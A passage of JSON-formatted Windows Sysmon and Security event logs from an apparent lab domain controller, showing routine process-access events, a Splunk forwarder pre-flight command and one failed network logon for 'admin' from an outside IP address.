C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.594","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1877,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.594\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.594","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1878,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.594\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.594","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1879,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.594\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.594","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1880,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.594\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-001020350300}\r\nTargetProcessId: 3656\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.594","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-001020350300}","TargetProcessId":"3656","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221486,"ProcessID":860,"ThreadID":908,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t59472\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"59472","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1881,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.828\r\nSourceProcessGUID: {90617006-3FE7-5F2D-0000-001020350300}\r\nSourceProcessId: 3656\r\nSourceThreadId: 3660\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.828","SourceProcessGUID":"{90617006-3FE7-5F2D-0000-001020350300}","SourceProcessId":"3656","SourceThreadId":"3660","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1882,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.844\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-001020350300}\r\nTargetProcessId: 3656\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.844","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-001020350300}","TargetProcessId":"3656","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1883,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nProcessGuid: {90617006-3FE7-5F2D-0000-00107C380300}\r\nProcessId: 3572\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c btool server list replication_port --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nParentProcessId: 4072\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","ProcessGuid":"{90617006-3FE7-5F2D-0000-00107C380300}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c btool server list replication_port --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE6-5F2D-0000-0010B0140300}","ParentProcessId":"4072","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1884,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.922\r\nSourceProcessGUID: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nSourceProcessId: 4072\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001034A30200}\r\nTargetProcessId: 